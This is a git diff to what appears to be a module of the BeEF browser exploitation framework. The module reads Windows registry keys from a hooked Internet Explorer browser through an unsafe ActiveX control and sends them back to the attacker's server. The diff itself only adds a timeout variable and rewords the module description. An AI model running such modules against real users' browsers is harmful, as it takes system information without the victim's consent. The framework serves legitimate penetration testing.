diff --git a/modules/host/get_registry_keys/command.js b/modules/host/get_registry_keys/command.js
index 9b2f68457..d46f8c0da 100644
--- a/modules/host/get_registry_keys/command.js
+++ b/modules/host/get_registry_keys/command.js
@@ -16,6 +16,7 @@
 beef.execute(function() {
 
 	var internal_counter = 0;
+	var timeout = 30;
 	var result;
 	var key_paths;
 
@@ -39,8 +40,8 @@ beef.execute(function() {
 			return;
 		} catch (e) {
 			internal_counter++;
-			if (internal_counter > 30) {
-				beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=time out');
+			if (internal_counter > timeout) {
+				beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=Timeout after '+timeout+' seconds');
 				return;
 			}
 			setTimeout(function() {waituntilok()},1000);
diff --git a/modules/host/get_registry_keys/config.yaml b/modules/host/get_registry_keys/config.yaml
index 568ee396c..8043c036c 100644
--- a/modules/host/get_registry_keys/config.yaml
+++ b/modules/host/get_registry_keys/config.yaml
@@ -19,7 +19,7 @@ beef:
             enable: true
             category: "Host"
             name: "Get Registry Keys (ActiveX)"
-            description: "Retrieves the values of Windows Registry keys using ActiveX.<br /><br />The user will be prompted to run the ActiveX control.<br /><br />Note: each registry key must be placed on a new line."
+            description: "Retrieves the values of Windows Registry keys using an (unsafe) ActiveX control.<br /><br />Internet Explorer does not allow scripting of unsafe ActiveX controls in the Internet zone by default.<br /><br />Note: each registry key must be placed on a new line."
             authors: ["bcoles"]
             target:
                 user_notify: ["IE"]